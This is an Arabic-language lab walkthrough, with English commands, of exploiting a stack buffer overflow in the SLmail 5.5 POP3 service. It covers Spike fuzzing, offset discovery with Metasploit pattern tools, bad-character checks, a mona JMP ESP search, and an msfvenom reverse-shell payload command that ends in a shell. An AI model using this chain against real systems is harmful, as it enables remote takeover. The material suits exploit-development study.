
تجاوز سعة المخزن المؤقت في Seattle Lab Mail (SLmail) 5.5 - POP3
تجاوز سعة المخزن المؤقت في Seattle Lab Mail (SLmail) 5.5 - POP3
تجاوز سعة مخزن مؤقت قائم على المكدس خطوة بخطوة
في الخطوة الأولى سنقوم بتفحيش التطبيق باستخدام سكربت Spike بسيط
في الوقت نفسه سيكون لدينا SLmail موصولًا [ويعمل] بـ Immunity Debugger
المزيد عن Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
يوجد هنا سكربت Spike بسيط باسم spike_fuzz.spk
سنقوم بتشغيله ضد التطبيق باستخدام الأمر
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
حيث 192.168.1.117 هو عنوان IP للجهاز الهدف الذي يعمل عليه SLMail وهو يعمل على المنفذ 110

في هذه الأثناء إذا نظرنا إلى Immunity فسنرى أن التطبيق قد انهار

الآن سننشئ POC بلغة Python يعيد إنتاج الانهيار ويحسب البايتات التي ينهار عندها التطبيق
python poc_crash.py

لإيجاد الإزاحة سنستخدم MSF
1. First Generate a pattern
2. Note the EIP
3. Query that EIP and Length with MSF to Find the Offset
msf-pattern_create -l 2700

في poc_offset.py سنستخدم هذا النمط كحاجز الفائض (Overflow Buffer)!
python poc_offset.py

عند هذه النقطة نلاحظ أيضًا قيمة EIP في Immunity حيث انهار التطبيق وتوقف

EIP is 39694438
::For Finding Offset::
msf-pattern_offset -l 2700 -q 39694438

الإزاحة هي 2606، أي 2606 بايت قبل أن نصل إلى EIP::: و EIP نفسه طوله 4 بايتات
الآن سنحاول الكتابة فوق EIP بأربعة أحرف B أي:: في Immunity يجب أن نرى 42424242 {الترميز السداسي العشري لأربعة أحرف B}
python poc_eip_control.py

والآن إذا تحققنا من Immunity

لإبقاء هذا بسيطًا ومختصرًا
يمكنك تشغيل سكربت poc_badchars.py ثم إيجاد الأحرف الضارة بنفسك
لإبقاء هذا مختصرًا
يحتوي هذا التطبيق على حرفين ضارين {وهما الافتراضيان أيضًا}، عندما نشغّل poc_badchars.py في المرة الأولى سنرى أن الحرف \x0a يسبب مشكلة، ثم نزيله من حمولة الأحرف الضارة ونعيد تشغيل السكربت، وفي المرة الثانية سنرى أن الحرف \x0d تم تخطيه، لذا فهو الحرف الضار الثاني ونزيله من حمولتنا :: بعد ذلك عندما نشغّل السكربت للمرة الثالثة يكون كل شيء واضحًا وسليمًا!!
badchars are :: \x00\x0a\x0d
{nullbyte, Line feed, carriage return}
python poc_badchars.py
أولاً نجد الوحدة النمطية الصحيحة باستخدام Mona Modules في Immunity
slmfc.dll is the most appropriate candidate as it does not have memory protections!

والآن نجد عنوان JMP ESP داخل هذه DLL
سيتم كتابة هذا العنوان في EIP حتى نتمكن من إعادة توجيه تنفيذ البرنامج إلى ESP مما يؤدي إلى تنفيذ شيل كود الخاص بنا!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 opcode equivalent of JMP ESP}

من بين 19 عنوان مؤشر نختار الأول
الآن سنجمع كل هذا معًا ونُسقط شيل
1.) generate the shell code {excluding badchars}
2.) adding the address we Found {remeber Little Endian}
3.) Add the buffer , return address, some nop-sleds, shellcode
4.) we have a shell
لنقم بسرعة بتوليد شيل كود باستخدام msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

نضع كل شيء معًا في ملف exploit.py

هذه المرة نشغّل SLmail بدون Immunity ونستمع أيضًا للاتصالات الواردة في نفس الوقت
بمجرد الانتهاء من ذلك سنقوم بتشغيل سكربت exploit.py النهائي!

ممتاز، لقد حصلنا على شيل!